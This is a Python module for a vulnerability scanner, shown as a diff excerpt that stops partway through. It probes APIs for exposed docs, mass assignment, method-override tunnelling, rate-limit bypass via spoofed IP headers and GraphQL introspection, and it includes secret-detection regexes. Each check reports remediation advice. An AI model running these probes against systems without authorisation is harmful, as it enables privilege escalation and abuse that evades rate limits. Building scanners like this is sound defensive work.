|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
api_security_scanner.py — Advanced REST/GraphQL/gRPC API Security Scanner
|
| 3 |
+
==========================================================================
|
| 4 |
+
Goes beyond basic API fuzzing to test:
|
| 5 |
+
|
| 6 |
+
1. Mass Assignment via field injection on POST/PUT/PATCH
|
| 7 |
+
2. Parameter pollution (HPP) on REST APIs
|
| 8 |
+
3. Versioned API endpoint enumeration (v1, v2, v3...)
|
| 9 |
+
4. API key leakage in responses, headers, and error messages
|
| 10 |
+
5. HTTP verb tunneling (X-HTTP-Method-Override bypass)
|
| 11 |
+
6. API rate limit bypass via header manipulation
|
| 12 |
+
7. Unauthenticated GraphQL introspection
|
| 13 |
+
8. REST API response data over-exposure (sensitive field detection)
|
| 14 |
+
9. JWT none-algorithm and algorithm confusion probing
|
| 15 |
+
10. API documentation endpoint exposure (Swagger, OpenAPI, Postman)
|
| 16 |
+
"""
|
| 17 |
+
import re
|
| 18 |
+
import json
|
| 19 |
+
import time
|
| 20 |
+
import urllib.parse
|
| 21 |
+
import urllib.request
|
| 22 |
+
import urllib.error
|
| 23 |
+
import ssl
|
| 24 |
+
import base64
|
| 25 |
+
|
| 26 |
+
from scanners.base_scanner import BaseScanner
|
| 27 |
+
|
| 28 |
+
|
| 29 |
+
# ── Patterns ────────────────────────────────────────────────────────────────
|
| 30 |
+
API_KEY_PATTERNS = [
|
| 31 |
+
(r'(?i)api[_\-]?key\s*[:=]\s*["\']?([A-Za-z0-9_\-]{20,})["\']?', "API Key"),
|
| 32 |
+
(r'(?i)secret\s*[:=]\s*["\']?([A-Za-z0-9_\-]{20,})["\']?', "Secret"),
|
| 33 |
+
(r'(?i)access[_\-]?token\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{20,})["\']?', "Access Token"),
|
| 34 |
+
(r'(?i)auth[_\-]?token\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{20,})["\']?', "Auth Token"),
|
| 35 |
+
(r'(?i)password\s*[:=]\s*["\']?([^\s"\']{8,})["\']?', "Password"),
|
| 36 |
+
(r'(?i)client[_\-]?secret\s*[:=]\s*["\']?([A-Za-z0-9_\-]{16,})["\']?', "Client Secret"),
|
| 37 |
+
(r'sk_live_[A-Za-z0-9]{24,}', "Stripe Live Key"),
|
| 38 |
+
(r'sk_test_[A-Za-z0-9]{24,}', "Stripe Test Key"),
|
| 39 |
+
(r'AKIA[0-9A-Z]{16}', "AWS Access Key"),
|
| 40 |
+
(r'AIza[0-9A-Za-z_\-]{35}', "Google API Key"),
|
| 41 |
+
(r'(?i)mongodb\+srv://[^\s"\'<>]+', "MongoDB Connection String"),
|
| 42 |
+
]
|
| 43 |
+
|
| 44 |
+
SENSITIVE_RESPONSE_FIELDS = [
|
| 45 |
+
"password", "passwd", "pwd", "hash", "secret", "salt",
|
| 46 |
+
"ssn", "social_security", "credit_card", "card_number", "cvv",
|
| 47 |
+
"private_key", "api_key", "access_token", "refresh_token",
|
| 48 |
+
"session_token", "auth_token", "otp_secret", "totp_secret",
|
| 49 |
+
"internal_ip", "server_ip", "db_host", "db_password",
|
| 50 |
+
"admin_email", "admin_pass",
|
| 51 |
+
]
|
| 52 |
+
|
| 53 |
+
DOC_ENDPOINTS = [
|
| 54 |
+
"/api/docs", "/api/swagger", "/api/openapi", "/swagger",
|
| 55 |
+
"/swagger-ui", "/swagger-ui.html", "/swagger/index.html",
|
| 56 |
+
"/api/swagger.json", "/api/openapi.json", "/openapi.json",
|
| 57 |
+
"/swagger.yaml", "/openapi.yaml", "/api/v1/swagger.json",
|
| 58 |
+
"/api/v2/swagger.json", "/v1/api-docs", "/v2/api-docs",
|
| 59 |
+
"/docs", "/redoc", "/api/redoc",
|
| 60 |
+
"/postman.json", "/postman_collection.json",
|
| 61 |
+
"/.well-known/openid-configuration",
|
| 62 |
+
"/graphql/playground", "/graphiql", "/altair",
|
| 63 |
+
]
|
| 64 |
+
|
| 65 |
+
API_VERSION_PATTERNS = [
|
| 66 |
+
"/api/v{n}", "/api/{n}", "/v{n}", "/v{n}/api",
|
| 67 |
+
"/api/version{n}", "/rest/v{n}",
|
| 68 |
+
]
|
| 69 |
+
|
| 70 |
+
MASS_ASSIGN_FIELDS = [
|
| 71 |
+
"is_admin", "role", "admin", "superuser", "is_superuser",
|
| 72 |
+
"is_staff", "permissions", "privilege", "level", "account_type",
|
| 73 |
+
"verified", "is_verified", "subscription_tier", "plan",
|
| 74 |
+
"credits", "balance", "discount",
|
| 75 |
+
]
|
| 76 |
+
|
| 77 |
+
HTTP_VERB_OVERRIDES = [
|
| 78 |
+
"X-HTTP-Method-Override",
|
| 79 |
+
"X-HTTP-Method",
|
| 80 |
+
"X-Method-Override",
|
| 81 |
+
"_method",
|
| 82 |
+
]
|
| 83 |
+
|
| 84 |
+
RATE_LIMIT_BYPASS_HEADERS = [
|
| 85 |
+
{"X-Forwarded-For": "127.0.0.1"},
|
| 86 |
+
{"X-Real-IP": "127.0.0.1"},
|
| 87 |
+
{"X-Originating-IP": "127.0.0.1"},
|
| 88 |
+
{"X-Remote-IP": "127.0.0.1"},
|
| 89 |
+
{"CF-Connecting-IP": "127.0.0.1"},
|
| 90 |
+
{"True-Client-IP": "127.0.0.1"},
|
| 91 |
+
{"X-Forwarded-For": "10.0.0.1, 127.0.0.1"},
|
| 92 |
+
{"X-Cluster-Client-IP": "127.0.0.1"},
|
| 93 |
+
]
|
| 94 |
+
|
| 95 |
+
|
| 96 |
+
def _ssl_context() -> ssl.SSLContext:
|
| 97 |
+
ctx = ssl.create_default_context()
|
| 98 |
+
ctx.check_hostname = False
|
| 99 |
+
ctx.verify_mode = ssl.CERT_NONE
|
| 100 |
+
return ctx
|
| 101 |
+
|
| 102 |
+
|
| 103 |
+
def _request(url: str, method: str = "GET", body: bytes | None = None,
|
| 104 |
+
extra_headers: dict | None = None, timeout: int = 8) -> tuple[str, int, dict]:
|
| 105 |
+
"""Make HTTP request, returning (body_text, status_code, response_headers)."""
|
| 106 |
+
try:
|
| 107 |
+
headers = {"User-Agent": "LarShield/2.0-APIScanner", "Accept": "application/json"}
|
| 108 |
+
if extra_headers:
|
| 109 |
+
headers.update(extra_headers)
|
| 110 |
+
req = urllib.request.Request(url, data=body, method=method, headers=headers)
|
| 111 |
+
with urllib.request.urlopen(req, timeout=timeout, context=_ssl_context()) as r:
|
| 112 |
+
resp_body = r.read().decode("utf-8", errors="ignore")
|
| 113 |
+
return resp_body, r.status, dict(r.headers)
|
| 114 |
+
except urllib.error.HTTPError as e:
|
| 115 |
+
try:
|
| 116 |
+
body_text = e.read().decode("utf-8", errors="ignore")
|
| 117 |
+
except Exception:
|
| 118 |
+
body_text = ""
|
| 119 |
+
return body_text, e.code, {}
|
| 120 |
+
except Exception:
|
| 121 |
+
return "", 0, {}
|
| 122 |
+
|
| 123 |
+
|
| 124 |
+
def _check_api_key_in_response(body: str, headers: dict) -> list[tuple[str, str]]:
|
| 125 |
+
"""Scan response body and headers for exposed secrets."""
|
| 126 |
+
found = []
|
| 127 |
+
combined = body + " " + " ".join(f"{k}: {v}" for k, v in headers.items())
|
| 128 |
+
for pattern, label in API_KEY_PATTERNS:
|
| 129 |
+
for m in re.finditer(pattern, combined):
|
| 130 |
+
found.append((label, m.group(0)[:80]))
|
| 131 |
+
return found
|
| 132 |
+
|
| 133 |
+
|
| 134 |
+
def _check_sensitive_fields(body: str) -> list[str]:
|
| 135 |
+
"""Find sensitive field names in JSON response."""
|
| 136 |
+
found = []
|
| 137 |
+
try:
|
| 138 |
+
data = json.loads(body)
|
| 139 |
+
except Exception:
|
| 140 |
+
# Fallback: regex search
|
| 141 |
+
data = None
|
| 142 |
+
|
| 143 |
+
if data:
|
| 144 |
+
def _scan_dict(d, depth=0):
|
| 145 |
+
if depth > 5 or not isinstance(d, (dict, list)):
|
| 146 |
+
return
|
| 147 |
+
if isinstance(d, dict):
|
| 148 |
+
for key in d.keys():
|
| 149 |
+
if any(sf in key.lower() for sf in SENSITIVE_RESPONSE_FIELDS):
|
| 150 |
+
found.append(key)
|
| 151 |
+
_scan_dict(d[key], depth + 1)
|
| 152 |
+
elif isinstance(d, list):
|
| 153 |
+
for item in d[:5]:
|
| 154 |
+
_scan_dict(item, depth + 1)
|
| 155 |
+
_scan_dict(data)
|
| 156 |
+
else:
|
| 157 |
+
for sf in SENSITIVE_RESPONSE_FIELDS:
|
| 158 |
+
if re.search(rf'["\']?{sf}["\']?\s*[:=]', body, re.IGNORECASE):
|
| 159 |
+
found.append(sf)
|
| 160 |
+
return list(set(found))
|
| 161 |
+
|
| 162 |
+
|
| 163 |
+
class ApiSecurityScanner(BaseScanner):
|
| 164 |
+
"""
|
| 165 |
+
Advanced REST/GraphQL API Security Scanner.
|
| 166 |
+
Performs real probes against discovered API endpoints.
|
| 167 |
+
"""
|
| 168 |
+
SCANNER_NAME = "Advanced API Security Scanner"
|
| 169 |
+
|
| 170 |
+
def run(self) -> list:
|
| 171 |
+
self.log("INFO", f"[AdvAPI] Starting advanced API security scan on {self.target}")
|
| 172 |
+
self._seen: set = set()
|
| 173 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 174 |
+
self._base = f"{parsed.scheme}://{parsed.netloc}"
|
| 175 |
+
|
| 176 |
+
# ── 1. API documentation endpoint exposure ───────────────────────────
|
| 177 |
+
self.log("INFO", "[AdvAPI] Probing for exposed API documentation endpoints...")
|
| 178 |
+
self._check_doc_exposure()
|
| 179 |
+
|
| 180 |
+
# ── 2. API version enumeration ───────────────────────────────────────
|
| 181 |
+
self.log("INFO", "[AdvAPI] Enumerating versioned API endpoints...")
|
| 182 |
+
found_versions = self._enumerate_api_versions()
|
| 183 |
+
|
| 184 |
+
# ── 3. Mass assignment injection ─────────────────────────────────────
|
| 185 |
+
self.log("INFO", "[AdvAPI] Testing mass assignment vulnerabilities...")
|
| 186 |
+
self._check_mass_assignment(found_versions)
|
| 187 |
+
|
| 188 |
+
# ── 4. HTTP verb tunneling ────────────────────────────────────────────
|
| 189 |
+
self.log("INFO", "[AdvAPI] Testing HTTP verb tunneling bypass...")
|
| 190 |
+
self._check_verb_tunneling()
|
| 191 |
+
|
| 192 |
+
# ── 5. API rate limit bypass via header spoofing ─────────────────────
|
| 193 |
+
self.log("INFO", "[AdvAPI] Testing rate limit bypass techniques...")
|
| 194 |
+
self._check_rate_limit_bypass()
|
| 195 |
+
|
| 196 |
+
# ── 6. GraphQL introspection ─────────────────────────────────────────
|
| 197 |
+
self.log("INFO", "[AdvAPI] Checking GraphQL introspection access...")
|
| 198 |
+
self._check_graphql_introspection()
|
| 199 |
+
|
| 200 |
+
# ── 7. Response data over-exposure ───────────────────────────────────
|
| 201 |
+
self.log("INFO", "[AdvAPI] Checking API responses for sensitive data over-exposure...")
|
| 202 |
+
self._check_data_overexposure(found_versions)
|
| 203 |
+
|
| 204 |
+
count = len(self.vulns)
|
| 205 |
+
self.log(
|
| 206 |
+
"WARNING" if count else "SUCCESS",
|
| 207 |
+
f"[AdvAPI] Complete — {count} API security issue(s) detected"
|
| 208 |
+
)
|
| 209 |
+
return self.vulns
|
| 210 |
+
|
| 211 |
+
def _check_doc_exposure(self):
|
| 212 |
+
"""Check if API documentation is publicly accessible."""
|
| 213 |
+
for path in DOC_ENDPOINTS:
|
| 214 |
+
url = self._base + path
|
| 215 |
+
body, status, headers = _request(url, timeout=6)
|
| 216 |
+
if status == 200 and body:
|
| 217 |
+
# Verify it's actual API docs, not a generic 200
|
| 218 |
+
is_docs = any(kw in body.lower() for kw in [
|
| 219 |
+
"swagger", "openapi", "paths", "definitions",
|
| 220 |
+
"graphql", "playground", "mutation", "query",
|
| 221 |
+
"postman", "endpoint",
|
| 222 |
+
])
|
| 223 |
+
if is_docs:
|
| 224 |
+
key = f"apidoc:{path}"
|
| 225 |
+
if key not in self._seen:
|
| 226 |
+
self._seen.add(key)
|
| 227 |
+
self.log("HIGH", f"[AdvAPI] API documentation exposed: {url}")
|
| 228 |
+
self.add_vuln(
|
| 229 |
+
title=f"API Documentation Publicly Exposed: {path}",
|
| 230 |
+
severity="High",
|
| 231 |
+
category="API Security / Information Disclosure",
|
| 232 |
+
cvss_score=7.5,
|
| 233 |
+
cwe_ids=["CWE-538", "CWE-200"],
|
| 234 |
+
owasp_category="A09:2021 – Security Logging and Monitoring Failures",
|
| 235 |
+
description=(
|
| 236 |
+
f"The API documentation endpoint `{url}` is publicly accessible. "
|
| 237 |
+
f"Exposed API docs (Swagger, OpenAPI, GraphQL Playground) provide attackers "
|
| 238 |
+
f"with a complete blueprint of all API endpoints, parameters, authentication "
|
| 239 |
+
f"methods, and data models — dramatically accelerating attack reconnaissance."
|
| 240 |
+
),
|
| 241 |
+
remediation=(
|
| 242 |
+
"1. Restrict API documentation to authenticated users or internal networks only.\n"
|
| 243 |
+
"2. Disable interactive API explorers (Swagger UI, GraphiQL) in production.\n"
|
| 244 |
+
"3. Use IP allowlisting for documentation endpoints.\n"
|
| 245 |
+
"4. Implement authentication middleware before documentation routes."
|
| 246 |
+
),
|
| 247 |
+
evidence=f"HTTP {status} response from {url} with API documentation content",
|
| 248 |
+
request_details=f"GET {url}",
|
| 249 |
+
)
|
| 250 |
+
|
| 251 |
+
def _enumerate_api_versions(self) -> list[str]:
|
| 252 |
+
"""Discover active API versioned base URLs."""
|
| 253 |
+
found = []
|
| 254 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 255 |
+
base_path = parsed.path.rstrip("/")
|
| 256 |
+
|
| 257 |
+
for n in range(1, 6):
|
| 258 |
+
for pattern in ["/api/v{n}", "/v{n}", "/api/v{n}/", "/v{n}/api"]:
|
| 259 |
+
path = pattern.replace("{n}", str(n))
|
| 260 |
+
url = self._base + path
|
| 261 |
+
body, status, _ = _request(url, timeout=5)
|
| 262 |
+
if status in (200, 401, 403, 405):
|
| 263 |
+
# Status 401/403/405 still means the endpoint exists
|
| 264 |
+
if url not in found:
|
| 265 |
+
found.append(url)
|
| 266 |
+
self.log("INFO", f"[AdvAPI] Found API version endpoint: {url} (HTTP {status})")
|
| 267 |
+
|
| 268 |
+
return found
|
| 269 |
+
|
| 270 |
+
def _check_mass_assignment(self, api_bases: list[str]):
|
| 271 |
+
"""Attempt mass assignment on common CRUD endpoints."""
|
| 272 |
+
endpoints_to_try = [self.target, self._base + "/api/user", self._base + "/api/users", self._base + "/api/profile"]
|
| 273 |
+
endpoints_to_try.extend(api_bases[:3])
|
| 274 |
+
|
| 275 |
+
for base_url in endpoints_to_try[:5]:
|
| 276 |
+
# Send a POST/PUT with extra privileged fields
|
| 277 |
+
payload_dict = {
|
| 278 |
+
"name": "test",
|
| 279 |
+
"email": "test@example.com",
|
| 280 |
+
}
|
| 281 |
+
# Add mass assignment fields
|
| 282 |
+
for field in MASS_ASSIGN_FIELDS[:5]:
|
| 283 |
+
payload_dict[field] = True
|
| 284 |
+
|
| 285 |
+
body_bytes = json.dumps(payload_dict).encode()
|
| 286 |
+
|
| 287 |
+
for method in ["POST", "PUT"]:
|
| 288 |
+
resp_body, status, resp_headers = _request(
|
| 289 |
+
base_url, method=method, body=body_bytes,
|
| 290 |
+
extra_headers={"Content-Type": "application/json"},
|
| 291 |
+
timeout=7
|
| 292 |
+
)
|
| 293 |
+
if status in (200, 201, 204):
|
| 294 |
+
# Check if the server reflected any privileged field back
|
| 295 |
+
reflected_fields = []
|
| 296 |
+
try:
|
| 297 |
+
resp_data = json.loads(resp_body)
|
| 298 |
+
for field in MASS_ASSIGN_FIELDS:
|
| 299 |
+
if field in resp_data:
|
| 300 |
+
reflected_fields.append(field)
|
| 301 |
+
except Exception:
|
| 302 |
+
for field in MASS_ASSIGN_FIELDS:
|
| 303 |
+
if re.search(rf'["\']?{field}["\']?\s*:', resp_body, re.IGNORECASE):
|
| 304 |
+
reflected_fields.append(field)
|
| 305 |
+
|
| 306 |
+
if reflected_fields:
|
| 307 |
+
key = f"massassign:{base_url}:{method}"
|
| 308 |
+
if key not in self._seen:
|
| 309 |
+
self._seen.add(key)
|
| 310 |
+
self.log("CRITICAL", f"[AdvAPI] Mass assignment: {reflected_fields} reflected in {method} {base_url}")
|
| 311 |
+
self.add_vuln(
|
| 312 |
+
title=f"Mass Assignment Vulnerability via {method} {base_url}",
|
| 313 |
+
severity="Critical",
|
| 314 |
+
category="API Security / Mass Assignment",
|
| 315 |
+
cvss_score=9.1,
|
| 316 |
+
cwe_ids=["CWE-915"],
|
| 317 |
+
owasp_category="API6:2023 – Unrestricted Access to Sensitive Business Flows",
|
| 318 |
+
description=(
|
| 319 |
+
f"The endpoint `{base_url}` accepts and reflects privileged fields "
|
| 320 |
+
f"(`{', '.join(reflected_fields)}`) in a {method} request without "
|
| 321 |
+
f"filtering. An attacker can escalate privileges by submitting fields "
|
| 322 |
+
f"like `is_admin: true`, `role: 'admin'`, or `credits: 99999` in the request body."
|
| 323 |
+
),
|
| 324 |
+
remediation=(
|
| 325 |
+
"1. Implement an explicit allowlist of accepted fields (not a blocklist).\n"
|
| 326 |
+
"2. Use Data Transfer Objects (DTOs) that only bind permitted fields.\n"
|
| 327 |
+
"3. Never bind the entire request body directly to database models.\n"
|
| 328 |
+
"4. Implement object-level authorization checks after field binding."
|
| 329 |
+
),
|
| 330 |
+
evidence=f"Privileged fields reflected: {reflected_fields}",
|
| 331 |
+
request_details=f"{method} {base_url}\nBody: {json.dumps(payload_dict)[:200]}",
|
| 332 |
+
payload=json.dumps({f: True for f in reflected_fields}),
|
| 333 |
+
)
|
| 334 |
+
|
| 335 |
+
def _check_verb_tunneling(self):
|
| 336 |
+
"""Test HTTP verb tunneling via method override headers."""
|
| 337 |
+
test_url = self._base + "/api/admin"
|
| 338 |
+
for header in HTTP_VERB_OVERRIDES:
|
| 339 |
+
extra = {header: "DELETE"}
|
| 340 |
+
body, status, resp_headers = _request(test_url, method="POST", extra_headers=extra, timeout=6)
|
| 341 |
+
if status not in (404, 405):
|
| 342 |
+
# Check if a normally-disallowed method was accepted
|
| 343 |
+
normal_body, normal_status, _ = _request(test_url, method="DELETE", timeout=6)
|
| 344 |
+
if status != normal_status and status in (200, 204, 401, 403):
|
| 345 |
+
key = f"verbtunn:{header}"
|
| 346 |
+
if key not in self._seen:
|
| 347 |
+
self._seen.add(key)
|
| 348 |
+
self.log("HIGH", f"[AdvAPI] Verb tunneling via {header} accepted (HTTP {status})")
|
| 349 |
+
self.add_vuln(
|
| 350 |
+
title=f"HTTP Verb Tunneling via {header} Header",
|
| 351 |
+
severity="High",
|
| 352 |
+
category="API Security / Access Control",
|
| 353 |
+
cvss_score=7.3,
|
| 354 |
+
cwe_ids=["CWE-650"],
|
| 355 |
+
owasp_category="API1:2023 – Broken Object Level Authorization",
|
| 356 |
+
description=(
|
| 357 |
+
f"The server accepts `{header}: DELETE` in a POST request, tunneling "
|
| 358 |
+
f"a restricted HTTP method. This bypasses WAF/firewall rules that only "
|
| 359 |
+
f"block explicit DELETE/PUT methods, allowing attackers to perform "
|
| 360 |
+
f"destructive operations through a POST wrapper."
|
| 361 |
+
),
|
| 362 |
+
remediation=(
|
| 363 |
+
f"1. Disable `{header}` header processing on production APIs.\n"
|
| 364 |
+
"2. Validate that WAF rules apply to effective HTTP method, not tunneled method.\n"
|
| 365 |
+
"3. Use framework-level configuration to disable method override middleware.\n"
|
| 366 |
+
"4. Implement resource-level authorization that doesn't depend on HTTP method alone."
|
| 367 |
+
),
|
| 368 |
+
evidence=f"POST with {header}: DELETE returned HTTP {status} vs DELETE returning {normal_status}",
|
| 369 |
+
request_details=f"POST {test_url}\n{header}: DELETE",
|
| 370 |
+
payload=f"{header}: DELETE",
|
| 371 |
+
)
|
| 372 |
+
|
| 373 |
+
def _check_rate_limit_bypass(self):
|
| 374 |
+
"""Check if rate limits can be bypassed via IP spoofing headers."""
|
| 375 |
+
test_url = self.target
|
| 376 |
+
|
| 377 |
+
# Get baseline response
|
| 378 |
+
baseline_body, baseline_status, baseline_headers = _request(test_url, timeout=6)
|
| 379 |
+
rate_limited = False
|
| 380 |
+
|
| 381 |
+
# Send 20 rapid requests to trigger rate limiting
|
| 382 |
+
for _ in range(20):
|
| 383 |
+
body, status, _ = _request(test_url, timeout=3)
|
| 384 |
+
if status == 429:
|
| 385 |
+
rate_limited = True
|
| 386 |
+
break
|
| 387 |
+
time.sleep(0.05)
|
| 388 |
+
|
| 389 |
+
if rate_limited:
|
| 390 |
+
# Try bypass headers
|
| 391 |
+
for bypass_header in RATE_LIMIT_BYPASS_HEADERS:
|
| 392 |
+
body, status, _ = _request(test_url, extra_headers=bypass_header, timeout=6)
|
| 393 |
+
if status != 429:
|
| 394 |
+
header_name, header_val = list(bypass_header.items())[0]
|
| 395 |
+
key = f"ratelimit_bypass:{header_name}"
|
| 396 |
+
if key not in self._seen:
|
| 397 |
+
self._seen.add(key)
|
| 398 |
+
self.log("HIGH", f"[AdvAPI] Rate limit bypassed via {header_name}: {header_val}")
|
| 399 |
+
self.add_vuln(
|
| 400 |
+
title=f"Rate Limit Bypass via {header_name} IP Spoofing Header",
|
| 401 |
+
severity="High",
|
| 402 |
+
category="API Security / Rate Limiting",
|
| 403 |
+
cvss_score=7.5,
|
| 404 |
+
cwe_ids=["CWE-799", "CWE-290"],
|
| 405 |
+
owasp_category="API4:2023 – Unrestricted Resource Consumption",
|
| 406 |
+
description=(
|
| 407 |
+
f"The rate limiting mechanism trusts the `{header_name}` header "
|
| 408 |
+
f"for IP identification. By setting `{header_name}: {header_val}`, "
|
| 409 |
+
f"an attacker can bypass rate limits entirely, enabling:\n"
|
| 410 |
+
f"- Brute force attacks on authentication endpoints\n"
|
| 411 |
+
f"- Credential stuffing at scale\n"
|
| 412 |
+
f"- API denial-of-service with rotating fake IPs"
|
| 413 |
+
),
|
| 414 |
+
remediation=(
|
| 415 |
+
"1. Use the actual TCP connection IP for rate limiting, not forwarded headers.\n"
|
| 416 |
+
"2. If behind a trusted proxy, validate the proxy IP before trusting forwarded headers.\n"
|
| 417 |
+
"3. Implement rate limiting at the TCP/network layer (not just HTTP).\n"
|
| 418 |
+
f"4. Remove trust of `{header_name}` from untrusted sources."
|
| 419 |
+
),
|
| 420 |
+
evidence=f"429 rate limit triggered normally, then bypassed with {header_name}: {header_val}",
|
| 421 |
+
request_details=f"GET {test_url}\n{header_name}: {header_val}",
|
| 422 |
+
payload=f"{header_name}: {header_val}",
|
| 423 |
+
)
|
| 424 |
+
|
| 425 |
+
def _check_graphql_introspection(self):
|
| 426 |
+
"""Check for unauthenticated GraphQL introspection."""
|
| 427 |
+
gql_paths = ["/graphql", "/api/graphql", "/gql", "/query", "/api/query"]
|
| 428 |
+
introspection_query = json.dumps({
|
| 429 |
+
"query": "{ __schema { types { name } } }"
|
| 430 |
+
}).encode()
|
| 431 |
+
|
| 432 |
+
for path in gql_paths:
|
| 433 |
+
url = self._base + path
|
| 434 |
+
body, status, headers = _request(
|
| 435 |
+
url, method="POST", body=introspection_query,
|
| 436 |
+
extra_headers={"Content-Type": "application/json"},
|
| 437 |
+
timeout=7
|
| 438 |
+
)
|
| 439 |
+
if status == 200 and '"__schema"' in body and '"types"' in body:
|
| 440 |
+
key = f"gql_introspect:{path}"
|
| 441 |
+
if key not in self._seen:
|
| 442 |
+
self._seen.add(key)
|
| 443 |
+
# Count type count as a measure of exposure
|
| 444 |
+
type_count = body.count('"name"')
|
| 445 |
+
self.log("HIGH", f"[AdvAPI] GraphQL introspection open at {url} ({type_count} types exposed)")
|
| 446 |
+
self.add_vuln(
|
| 447 |
+
title="GraphQL Introspection Enabled in Production",
|
| 448 |
+
severity="High",
|
| 449 |
+
category="API Security / GraphQL",
|
| 450 |
+
cvss_score=7.5,
|
| 451 |
+
cwe_ids=["CWE-200"],
|
| 452 |
+
owasp_category="A09:2021 – Security Logging and Monitoring Failures",
|
| 453 |
+
description=(
|
| 454 |
+
f"GraphQL introspection is enabled at `{url}` without authentication. "
|
| 455 |
+
f"Introspection exposes the complete schema ({type_count} type references), "
|
| 456 |
+
f"including all queries, mutations, fields, arguments, and data models. "
|
| 457 |
+
f"This provides attackers with a full API blueprint for further targeted attacks."
|
| 458 |
+
),
|
| 459 |
+
remediation=(
|
| 460 |
+
"1. Disable introspection in production GraphQL configurations.\n"
|
| 461 |
+
"2. For Apollo Server: `introspection: false`.\n"
|
| 462 |
+
"3. For Hasura: set HASURA_GRAPHQL_ENABLE_INTROSPECTION=false.\n"
|
| 463 |
+
"4. Restrict introspection to authenticated admin users only.\n"
|
| 464 |
+
"5. Implement query depth limiting and complexity analysis."
|
| 465 |
+
),
|
| 466 |
+
evidence=f"GraphQL introspection returned {type_count} type references",
|
| 467 |
+
request_details=f'POST {url}\nBody: {{"query": "{{ __schema {{ types {{ name }} }} }}"}}',
|
| 468 |
+
payload='{ __schema { types { name } } }',
|
| 469 |
+
)
|
| 470 |
+
|
| 471 |
+
def _check_data_overexposure(self, api_bases: list[str]):
|
| 472 |
+
"""Check API responses for sensitive fields that shouldn't be exposed."""
|
| 473 |
+
endpoints = [self.target, self._base + "/api/user", self._base + "/api/me", self._base + "/api/profile"]
|
| 474 |
+
endpoints.extend(api_bases[:2])
|
| 475 |
+
|
| 476 |
+
for url in endpoints[:6]:
|
| 477 |
+
body, status, headers = _request(url, timeout=6)
|
| 478 |
+
if status == 200 and body:
|
| 479 |
+
# Check for API key leakage
|
| 480 |
+
secrets = _check_api_key_in_response(body, headers)
|
| 481 |
+
for secret_type, secret_val in secrets:
|
| 482 |
+
key = f"secretleak:{secret_type}:{url}"
|
| 483 |
+
if key not in self._seen:
|
| 484 |
+
self._seen.add(key)
|
| 485 |
+
self.log("CRITICAL", f"[AdvAPI] Secret leaked in response: {secret_type} at {url}")
|
| 486 |
+
self.add_vuln(
|
| 487 |
+
title=f"Sensitive Credential Exposed in API Response: {secret_type}",
|
| 488 |
+
severity="Critical",
|
| 489 |
+
category="API Security / Information Disclosure",
|
| 490 |
+
cvss_score=9.1,
|
| 491 |
+
cwe_ids=["CWE-200", "CWE-312"],
|
| 492 |
+
owasp_category="API3:2023 – Broken Object Property Level Authorization",
|
| 493 |
+
description=(
|
| 494 |
+
f"The API endpoint `{url}` returns a **{secret_type}** in its response body or headers. "
|
| 495 |
+
f"This exposes sensitive credentials that can be used to authenticate as the affected "
|
| 496 |
+
f"user/service, access third-party APIs, or perform actions on behalf of the system.\n\n"
|
| 497 |
+
f"**Detected pattern:** `{secret_val}`"
|
| 498 |
+
),
|
| 499 |
+
remediation=(
|
| 500 |
+
"1. Remove all sensitive fields from API responses using response DTOs/serializers.\n"
|
| 501 |
+
"2. Never return API keys, tokens, or passwords in any API response.\n"
|
| 502 |
+
"3. Audit all API endpoints with automated secret scanning in CI/CD.\n"
|
| 503 |
+
"4. Rotate any exposed credentials immediately.\n"
|
| 504 |
+
"5. Implement response filtering middleware to block secret patterns."
|
| 505 |
+
),
|
| 506 |
+
evidence=f"{secret_type} found in response from {url}: {secret_val[:30]}...",
|
| 507 |
+
request_details=f"GET {url}",
|
| 508 |
+
)
|
| 509 |
+
|
| 510 |
+
# Check for sensitive field over-exposure
|
| 511 |
+
sensitive = _check_sensitive_fields(body)
|
| 512 |
+
if sensitive:
|
| 513 |
+
key = f"overexpose:{url}"
|
| 514 |
+
if key not in self._seen:
|
| 515 |
+
self._seen.add(key)
|
| 516 |
+
self.log("HIGH", f"[AdvAPI] Data over-exposure: {sensitive} at {url}")
|
| 517 |
+
self.add_vuln(
|
| 518 |
+
title=f"API Response Data Over-Exposure — Sensitive Fields Returned",
|
| 519 |
+
severity="High",
|
| 520 |
+
category="API Security / Data Exposure",
|
| 521 |
+
cvss_score=7.5,
|
| 522 |
+
cwe_ids=["CWE-213"],
|
| 523 |
+
owasp_category="API3:2023 – Broken Object Property Level Authorization",
|
| 524 |
+
description=(
|
| 525 |
+
f"The API endpoint `{url}` returns sensitive fields that should not be exposed to clients: "
|
| 526 |
+
f"`{'`, `'.join(sensitive[:8])}`.\n\n"
|
| 527 |
+
f"Over-exposure occurs when API responses include more data than the frontend actually needs, "
|
| 528 |
+
f"relying on the UI to 'hide' sensitive information that is still transmitted over the network."
|
| 529 |
+
),
|
| 530 |
+
remediation=(
|
| 531 |
+
"1. Implement field-level filtering in API serializers — only return fields the client needs.\n"
|
| 532 |
+
"2. Use separate response schemas for different user roles.\n"
|
| 533 |
+
"3. Avoid returning full database model objects directly as API responses.\n"
|
| 534 |
+
"4. Regularly audit API response fields using automated data classification tools."
|
| 535 |
+
),
|
| 536 |
+
evidence=f"Sensitive fields in response: {sensitive[:5]}",
|
| 537 |
+
request_details=f"GET {url}",
|
| 538 |
+
